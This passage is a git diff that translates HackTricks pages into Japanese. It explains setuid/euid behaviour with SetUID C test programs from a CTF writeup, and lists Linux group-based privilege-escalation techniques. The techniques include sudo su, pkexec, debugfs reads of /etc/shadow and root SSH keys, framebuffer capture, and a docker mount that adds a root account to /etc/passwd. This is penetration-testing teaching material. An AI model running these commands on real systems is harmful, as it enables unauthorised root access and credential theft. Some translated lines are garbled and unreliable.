PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-**This post was copied from** [**https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail**](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail) +**この投稿は、**[**https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail**](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail)**からコピーされました** ## **`*uid`** -* **`ruid`**: This is the **real user ID** of the user that started the process. -* **`euid`**: This is the **effective user ID**, is what the system looks to when deciding **what privileges the process should have**. In most cases, the `euid` will be the same as the `ruid`, but a SetUID binary is an example of a case where they differ. When a **SetUID** binary starts, the **`euid` is set to the owner of the file**, which allows these binaries to function. -* `suid`: This is the **saved user ID,** it's used when a privileged process (most cases running as root) needs to **drop privileges** to do some behavior, but needs to then **come back** to the privileged state. +* **`ruid`**: これはプロセスを開始したユーザーの**実ユーザーID**です。 +* **`euid`**: これは**有効なユーザーID**であり、システムは**プロセスがどの特権を持つかを決定する**際に参照します。ほとんどの場合、`euid`は`ruid`と同じになりますが、SetUIDバイナリはこの場合と異なる例です。SetUIDバイナリが起動すると、**`euid`はファイルの所有者に設定され**、これによりこれらのバイナリが機能することができます。 +* `suid`: これは**保存されたユーザーID**であり、特権プロセス(ほとんどの場合はrootとして実行される)が一部の動作を行うために**特権を降下**する必要があるが、その後**特権状態に戻る**必要がある場合に使用されます。 {% hint style="info" %} -If a **non-root process** wants to **change it’s `euid`**, it can only **set** it to the current values of **`ruid`**, **`euid`**, or **`suid`**. +**非ルートプロセス**が**`euid`を変更**したい場合、**現在の`ruid`**、**`euid`**、または**`suid`**の値に**設定**することしかできません。 {% endhint %} ## set\*uid -On first look, it’s easy to think that the system calls **`setuid`** would set the `ruid`. In fact, when for a privileged process, it does. But in the general case, it actually **sets the `euid`**. From the [man page](https://man7.org/linux/man-pages/man2/setuid.2.html): +最初に見ると、**`setuid`**システムコールは`ruid`を設定すると思われるかもしれません。実際には、特権プロセスの場合はそうです。しかし、一般的な場合では、実際には**`euid`を設定**します。[manページ](https://man7.org/linux/man-pages/man2/setuid.2.html)から: -> setuid() **sets the effective user ID of the calling process**. If the calling process is privileged (more precisely: if the process has the CAP\_SETUID capability in its user namespace), the real UID and saved set-user-ID are also set. +> setuid()は、**呼び出し元プロセスの有効なユーザーIDを設定**します。呼び出し元プロセスが特権を持っている場合(より正確には、プロセスがユーザーネームスペースのCAP\_SETUID機能を持っている場合)、実ユーザーIDと保存された設定ユーザーIDも設定されます。 -So in the case where you’re running `setuid(0)` as root, this is sets all the ids to root, and basically locks them in (because `suid` is 0, it loses the knowledge or any previous user - of course, root processes can change to any user they want). +したがって、rootとして`setuid(0)`を実行している場合、これはすべてのIDをrootに設定し、基本的にそれらをロックします(`suid`が0であるため、以前のユーザーの情報は失われます - もちろん、rootプロセスは任意のユーザーに変更できます)。 -Two less common syscalls, **`setreuid`** (`re` for real and effective) and **`setresuid`** (`res` includes saved) set the specific ids. Being in an unprivileged process limits these calls (from [man page](https://man7.org/linux/man-pages/man2/setresuid.2.html) for `setresuid`, though the [page](https://man7.org/linux/man-pages/man2/setreuid.2.html) for `setreuid` has similar language): +2つの一般的でないシステムコール、**`setreuid`**(`re`は実ユーザーIDと有効ユーザーIDを表す)と**`setresuid`**(`res`には保存されたユーザーIDも含まれる)は、特定のIDを設定します。特権のないプロセスでは、これらの呼び出しは制限されます(`setresuid`の[manページ](https://man7.org/linux/man-pages/man2/setresuid.2.html)に記載されていますが、`setreuid`の[ページ](https://man7.org/linux/man-pages/man2/setreuid.2.html)にも似たような言語があります): -> An unprivileged process may change its **real UID, effective UID, and saved set-user-ID**, each to one of: the current real UID, the current effective UID, or the current saved set-user-ID. -> -> A privileged process (on Linux, one having the CAP\_SETUID capability) may set its real UID, effective UID, and saved set-user-ID to arbitrary values. +> 特権のないプロセス(Linuxでは、CAP\_SETUID機能を持つプロセス)は、実ユーザーID、有効ユーザーID、保存された設定ユーザーIDを、現在の実ユーザーID、現在の有効ユーザーID、または現在の保存された設定ユーザーIDのいずれかに変更できます。 -It’s important to remember that these aren’t here as a security feature, but rather reflect the intended workflow. When a program wants to change to another user, it changes the effective userid so it can act as that user. +これらはセキュリティ機能としてではなく、意図したワークフローを反映するために存在していることを覚えておくことが重要です。プログラムが別のユーザーに変更する場合、有効なユーザーIDを変更してそのユーザーとして動作できるようにします。 -As an attacker, it’s easy to get in a bad habit of just calling `setuid` because the most common case is to go to root, and in that case, `setuid` is effectively the same as `setresuid`. +攻撃者としては、最も一般的なケースがrootに移動することなので、`setuid`を呼び出すだけの悪い習慣に陥りやすいです。その場合、`setuid`は事実上`setresuid`と同じです。 -## Execution +## 実行 -### **execve (and other execs)** +### **execve(および他のexecs)** -The `execve` system call executes a program specified in the first argument. The second and third arguments are arrays, the arguments (`argv`) and the environment (`envp`). There are several other system calls that are based on `execve`, referred to as `exec` ([man page](https://man7.org/linux/man-pages/man3/exec.3.html)). They are each just wrappers on top of `execve` to provide different shorthands for calling `execve`. - -There’s a ton of detail on the [man page](https://man7.org/linux/man-pages/man2/execve.2.html), for how it works. In short, when **`execve` starts a program**, it uses the **same memory space as the calling program**, replacing that program, and newly initiating the stack, heap, and data segments. It wipes out the code for the program and writes the new program into that space. - -So what happens to `ruid`, `euid`, and `suid` on a call to `execve`? It does not change the metadata associated with the process. The man page explicitly states: - -> The process’s real UID and real GID, as well as its supplementary group IDs, are **unchanged** by a call to **execve**(). - -There’s a bit more nuance to the `euid`, with a longer paragraph describing what happens. Still, it’s focused on if the new program has the SetUID bit set. Assuming that isn’t the case, then the `euid` is also unchanged by `execve`. - -The `suid` is copied from the `euid` when `execve` is called: - -> The effective user ID of the process is copied to the saved set-user-ID; similarly, the effective group ID is copied to the saved set-group-ID. This copying takes place after any effective ID changes that occur because of the set-user-ID and set-group-ID mode bits. +`execve`システムコールは、最初の引数で指定されたプログラムを実行します。2番目と3番目の引数は配列であり、引数(`argv`)と環境(`envp`)です。`execve`に基づいていくつかの他のシステムコールがあり、`exec`([manページ](https://man7.org/linux/man-pages/man3/exec.3.html))と呼ばれます。これらはすべて、`execve`を呼び出すための略記法を提供するためのラッパーです。 +[manページ](https://man7.org/linux/man-pages/man2/execve.2.html)には、その動作に関する詳細がたくさんあります。要するに、**`execve`がプログラムを開始すると、呼び出し元プログラムと同じメモリスペースを使用**し、その ### **system** -`system` is a [completely different approach](https://man7.org/linux/man-pages/man3/system.3.html) to starting a new process. Where `execve` operates at the process level within the same process, **`system` uses `fork` to create a child process** and then executes in that child process using `execl`: +`system`は、新しいプロセスを開始するための[完全に異なるアプローチ](https://man7.org/linux/man-pages/man3/system.3.html)です。`execve`が同じプロセス内でプロセスレベルで動作するのに対して、**`system`は`fork`を使用して子プロセスを作成し、その子プロセスで`execl`を使用して実行します**: > ``` > execl("/bin/sh", "sh", "-c", command, (char *) NULL); > ``` -`execl` is just a wrapper around `execve` which converts string arguments into the `argv` array and calls `execve`. It’s important to note that **`system` uses `sh` to call the command**. +`execl`は、文字列引数を`argv`配列に変換し、`execve`を呼び出すラッパーです。重要な点は、**`system`がコマンドを呼び出すために`sh`を使用する**ということです。 -### sh and bash SUID +### shとbashのSUID -**`bash`** has a **`-p` option**, which the [man page](https://linux.die.net/man/1/bash) describes as: +**`bash`**には**`-p`オプション**があり、[manページ](https://linux.die.net/man/1/bash)では次のように説明されています: -> Turn on _privileged_ mode. In this mode, the **$ENV** and **$BASH\_ENV** files are not processed, shell functions are not inherited from the environment, and the **SHELLOPTS**, **BASHOPTS**, **CDPATH**, and **GLOBIGNORE** variables, if they appear in the environment, are ignored. If the shell is started with the effective user (group) id not equal to the real user (group) id, and the **-p option is not supplied**, these actions are taken and the **effective user id is set to the real user id**. If the **-p** option **is supplied** at startup, the **effective user id is not reset**. Turning this option off causes the effective user and group ids to be set to the real user and group ids. +> 特権モードをオンにします。このモードでは、**$ENV**と**$BASH\_ENV**ファイルは処理されず、シェル関数は環境から継承されず、環境に**SHELLOPTS**、**BASHOPTS**、**CDPATH**、**GLOBIGNORE**変数が含まれている場合は無視されます。シェルが実効ユーザー(グループ)IDが実ユーザー(グループ)IDと等しくない場合、かつ**-pオプションが指定されていない**場合、これらの操作が実行され、**実効ユーザーIDが実ユーザーIDに設定されます**。起動時に**-p**オプション**が指定された場合、実効ユーザーIDはリセットされません**。このオプションをオフにすると、実効ユーザーIDとグループIDが実ユーザーIDとグループIDに設定されます。 -In short, without `-p`, `euid` is set to `ruid` when Bash is run. **`-p` prevents this**. +要するに、`-p`を指定しない場合、Bashが実行されると`euid`は`ruid`に設定されます。**`-p`はこれを防ぎます**。 -The **`sh`** shell **doesn’t have a feature like this**. The [man page](https://man7.org/linux/man-pages/man1/sh.1p.html) doesn’t mention “user ID”, other than with the `-i` option, which says: +**`sh`**シェルにはこのような機能はありません。[manページ](https://man7.org/linux/man-pages/man1/sh.1p.html)では、「ユーザーID」という言葉は言及されておらず、`-i`オプションのみが以下のように述べています: -> \-i Specify that the shell is interactive; see below. An implementation may treat specifying the -i option as an error if the real user ID of the calling process does not equal the effective user ID or if the real group ID does not equal the effective group ID. +> \-i シェルが対話的であることを指定します。以下を参照してください。呼び出し元のプロセスの実ユーザーIDが実効ユーザーIDと等しくない場合、または実グループIDが実効グループIDと等しくない場合、実装は-iオプションの指定をエラーとして扱う場合があります。 -## Testing +## テスト ### setuid / system -With all of that background, I’ll take this code and walk through what happens on Jail (HTB): - +この背景を踏まえて、Jail(HTB)でこのコードを実行し、何が起こるかを説明します: ```c #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - system("id"); - return 0; +setuid(1000); +system("id"); +return 0; } ``` - -This program is compiled and set as SetUID on Jail over NFS: - +このプログラムは、NFS上のJailでコンパイルされ、SetUIDとして設定されています。 ```bash oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a; ...[snip]... oxdf@hacky$ chmod 4755 /mnt/nfsshare/a ``` - As root, I can see this file: - ``` -[root@localhost nfsshare]# ls -l a +[root@localhost nfsshare]# ls -l a -rwsr-xr-x. 1 frank frank 16736 May 30 04:58 a ``` +以下のコマンドを nobody として実行すると、`id` コマンドも nobody として実行されます: -When I run this as nobody, `id` runs as nobody: - +```bash +$ sudo -u nobody id +``` ```bash bash-4.2$ $ ./a uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +プログラムは、`ruid`が99(nobody)であり、`euid`が1000(frank)で開始されます。`setuid`呼び出しに到達すると、同じ値が設定されます。 -The program starts with a `ruid` of 99 (nobody) and an `euid` of 1000 (frank). When it reaches the `setuid` call, those same values are set. - -Then `system` is called, and I would expect to see `uid` of 99, but also an `euid` of 1000. Why isn’t there one? The issue is that **`sh` is symlinked to `bash`** in this distribution: - +その後、`system`が呼び出され、`uid`が99であることを期待していますが、`euid`も1000であるはずです。なぜそうならないのでしょうか?このディストリビューションでは、**`sh`が`bash`にシンボリックリンクされている**ため、そのような結果になります。 ``` $ ls -l /bin/sh lrwxrwxrwx. 1 root root 4 Jun 25 2017 /bin/sh -> bash ``` - -So `system` calls `/bin/sh sh -c id`, which is effectively `/bin/bash bash -c id`. When `bash` is called, with no `-p`, then it sees `ruid` of 99 and `euid` of 1000, and sets `euid` to 99. +したがって、`system`は`/bin/sh sh -c id`を呼び出し、実質的には`/bin/bash bash -c id`となります。`bash`が呼び出されると、`-p`オプションがないため、`ruid`が99で`euid`が1000であることがわかり、`euid`が99に設定されます。 ### setreuid / system -To test that theory, I’ll try replacing `setuid` with `setreuid`: - +この理論をテストするために、`setuid`を`setreuid`で置き換えてみます: ```c #define _GNU_SOURCE #include #include int main(void) { - setreuid(1000, 1000); - system("id"); - return 0; +setreuid(1000, 1000); +system("id"); +return 0; } ``` - -Compile and permissions: - +コンパイルとパーミッション: ``` oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b ``` - -Now on Jail, now `id` returns uid of 1000: - +現在、Jail内にいるため、`id`コマンドを実行すると、uidが1000と返されます。 ``` bash-4.2$ $ ./b uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` - -The `setreuid` call set both `ruid` and `euid` to 1000, so when `system` called `bash`, they matched, and things continued as frank. +`setreuid`呼び出しは、`ruid`と`euid`の両方を1000に設定します。したがって、`system`が`bash`を呼び出したとき、それらは一致し、事はfrankのまま続きます。 ### setuid / execve -Calling `execve` If my understanding above is correct, I could also not worry about messing with the uids, and instead call `execve`, as that will carry though the existing IDs. That will work, but there are traps. For example, common code might look like this: - +上記の理解が正しい場合、uidをいじることを心配する必要はなく、代わりに`execve`を呼び出すこともできます。これにより、既存のIDが引き継がれます。これは機能しますが、トラップもあります。たとえば、一般的なコードは次のようになります: ```c #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/usr/bin/id", NULL, NULL); - return 0; +setuid(1000); +execve("/usr/bin/id", NULL, NULL); +return 0; } ``` - -Without the environment (I’m passing NULL for simplicity), I’ll need a full path on `id`. This works, returning what I expect: - +環境変数は使用しないため(単純化のためにNULLを渡しています)、`id`には完全なパスが必要です。これは動作し、期待どおりの結果を返します。 ``` bash-4.2$ $ ./c uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +`[r]uid`は99ですが、`euid`は1000です。 -The `[r]uid` is 99, but the `euid` is 1000. - -If I try to get a shell from this, I have to be careful. For example, just calling `bash`: - +これからシェルを取得しようとする場合、注意が必要です。例えば、単に`bash`を呼び出すだけでは: ```c #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/bin/bash", NULL, NULL); - return 0; +setuid(1000); +execve("/bin/bash", NULL, NULL); +return 0; } ``` - -I’ll compile that and set it SetUID: - +私はそれをコンパイルし、SetUIDを設定します。 ``` oxdf@hacky$ gcc d.c -o /mnt/nfsshare/d oxdf@hacky$ chmod 4755 /mnt/nfsshare/d ``` - -Still, this will return all nobody: - +まだ、これはすべてのnobodyを返します: ``` bash-4.2$ $ ./d bash-4.2$ $ id uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +もし `setuid(0)` だったら、(プロセスがそれを行う権限を持っていると仮定すれば)問題なく動作するでしょう。その場合、すべての3つのIDが0に変更されます。しかし、非ルートユーザーの場合、これは単に `euid` を1000に設定し(既にそうであった場合)、`sh` を呼び出します。しかし、Jailでは `sh` は `bash` です。そして、`bash` が `ruid` が99で `euid` が1000で起動すると、`euid` は99に戻されます。 -If it were `setuid(0)`, then it would work fine (assuming the process had permission to do that), as then it changes all three ids to 0. But as a non-root user, this just sets the `euid` to 1000 (which is already was), and then calls `sh`. But `sh` is `bash` on Jail. And when `bash` starts with `ruid` of 99 and `euid` of 1000, it will drop the `euid` back to 99. - -To fix this, I’ll call `bash -p`: - +これを修正するために、`bash -p` を呼び出します: ```c #define _GNU_SOURCE #include #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - setuid(1000); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +setuid(1000); +execve(paramList[0], paramList, NULL); +return 0; } ``` - -This time the `euid` is there: - +今回は、`euid` が存在します: ``` bash-4.2$ $ ./e bash-4.2$ $ id uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` - -Or I could call `setreuid` or `setresuid` instead of `setuid`. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+または、`setuid`の代わりに`setreuid`または`setresuid`を呼び出すこともできます。 diff --git a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 217ae5ec3..a0e03a305 100644 --- a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -1,23 +1,22 @@ -# Interesting Groups - Linux Privesc +# インタレスティンググループ - Linux Privesc
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**PEASSの最新バージョンにアクセスしたいですか?** または、**HackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Sudo/Admin Groups +## Sudo/Admin グループ -### **PE - Method 1** - -**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines: +### **PE - メソッド1** +**時々**、**デフォルトで(または一部のソフトウェアが必要とするために)**、**/etc/sudoers**ファイルの中にこれらの行のいくつかを見つけることができます: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -25,47 +24,36 @@ # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +これは、**sudoまたはadminグループに所属するユーザーはsudoとして何でも実行できる**ことを意味します。 -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +もし状況がそうであるなら、**rootになるためには単に以下を実行するだけです**: ``` sudo su ``` +### PE - メソッド2 -### PE - Method 2 - -Find all suid binaries and check if there is the binary **Pkexec**: - +すべてのsuidバイナリを見つけ、バイナリ**Pkexec**があるかどうかを確認します: ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\ -This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with: - +もし、バイナリファイル **pkexec が SUID バイナリ** であり、あなたが **sudo** もしくは **admin** グループに所属している場合、おそらく `pkexec` を使用してバイナリファイルを sudo として実行することができます。\ +これは通常、**polkit ポリシー**内のグループです。このポリシーは、どのグループが `pkexec` を使用できるかを識別します。次のコマンドで確認してください。 ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +以下では、どのグループが**pkexec**を実行することが許可されているか、およびいくつかのLinuxディストリビューションではデフォルトで**sudo**と**admin**のグループが表示されることがわかります。 -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear. - -To **become root you can execute**: - +**rootになるためには、次のコマンドを実行します**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +もし**pkexec**を実行しようとして、以下の**エラー**が表示された場合: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: +**権限がないわけではなく、GUIなしで接続されていないためです**。この問題の回避策はこちらにあります:[https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。**2つの異なるsshセッション**が必要です: {% code title="session1" %} ```bash @@ -73,8 +61,6 @@ echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec #Step 5, if correctly authenticate, you will have a root session ``` -{% endcode %} - {% code title="session2" %} ```bash pkttyagent --process #Step 2, attach pkttyagent to session1 @@ -82,38 +68,29 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ``` {% endcode %} -## Wheel Group - -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: +## Wheelグループ +**時々**、**デフォルトで**、**/etc/sudoers**ファイルの中にこの行が見つかることがあります: ``` %wheel ALL=(ALL:ALL) ALL ``` +これは、**wheelグループに所属するユーザーはsudoとして何でも実行できる**ことを意味します。 -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +もし状況がそうであるなら、**rootになるためには単に以下を実行するだけです**: ``` sudo su ``` +## Shadowグループ -## Shadow Group - -Users from the **group shadow** can **read** the **/etc/shadow** file: - +**shadowグループ**のユーザーは、**/etc/shadow**ファイルを**読み取る**ことができます。 ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +## ディスクグループ -So, read the file and try to **crack some hashes**. - -## Disk Group - -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. - -Files:`/dev/sd[a-z][1-9]` +この特権は、マシン内のすべてのデータにアクセスできるため、ほぼルートアクセスと同等です。 +ファイル:`/dev/sd[a-z][1-9]` ```bash df -h #Find where "/" is mounted debugfs /dev/sda1 @@ -122,57 +99,47 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +注意してください、debugfsを使用すると**ファイルを書き込む**こともできます。例えば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` +しかし、rootが所有するファイル(`/etc/shadow`や`/etc/passwd`など)を書き込もうとすると、「**Permission denied**」のエラーが発生します。 -However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. - -## Video Group - -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: +## Videoグループ +コマンド`w`を使用すると、**システムにログインしているユーザー**を見つけることができ、以下のような出力が表示されます: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +**tty1**は、ユーザー**yossiが物理的に**マシンの端末にログインしていることを意味します。 -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +**videoグループ**は、画面出力を表示する権限を持っています。基本的には画面を観察することができます。これを行うためには、現在の画面のイメージを生データで取得し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存され、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**: +**Rawイメージ**を**開く**には、**GIMP**を使用し、\*\*`screen.raw` \*\*ファイルを選択し、ファイルタイプとして**Rawイメージデータ**を選択します: ![](<../../../.gitbook/assets/image (287) (1).png>) -Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen): +次に、画面で使用されている幅と高さを変更し、さまざまな画像タイプを確認します(画面をより良く表示するものを選択します): ![](<../../../.gitbook/assets/image (288).png>) -## Root Group +## ルートグループ -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +デフォルトでは、**ルートグループのメンバー**は、特権をエスカレートするために使用できる**一部のサービス**の設定ファイルや**ライブラリ**ファイルなど、いくつかの**興味深いもの**を**変更**することができるようです... +**ルートメンバーが変更できるファイルを確認**してください: ```bash find / -group root -perm -g=w 2>/dev/null ``` +## Dockerグループ -## Docker Group - -You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. - +インスタンスのボリュームにホストマシンのルートファイルシステムをマウントすることができます。そのため、インスタンスが起動するとすぐにそのボリュームに`chroot`がロードされます。これにより、実質的にマシン上でroot権限を取得することができます。 ```bash docker image #Get images from the docker service @@ -184,43 +151,40 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` - -Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here: +最後に、前述のいずれの提案も気に入らない場合や、何らかの理由で機能しない場合(docker apiファイアウォールなど)、常に**特権コンテナを実行して脱出する**ことができます。詳細はこちらを参照してください: {% content-ref url="../docker-security/" %} [docker-security](../docker-security/) {% endcontent-ref %} -If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.** +もしdockerソケットに書き込み権限がある場合は、[**この記事を読んでdockerソケットを悪用して特権をエスカレーションする方法**](../#writable-docker-socket)**を参照してください**。 {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -## lxc/lxd Group +## lxc/lxdグループ {% content-ref url="./" %} [.](./) {% endcontent-ref %} -## Adm Group +## Admグループ -Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\ -Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. +通常、**`adm`**グループの**メンバー**は、_/var/log/_にあるログファイルを**読み取る権限**を持っています。したがって、このグループのユーザーを侵害した場合は、ログを**確認する必要があります**。 -## Auth group +## Authグループ -Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\ -These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) 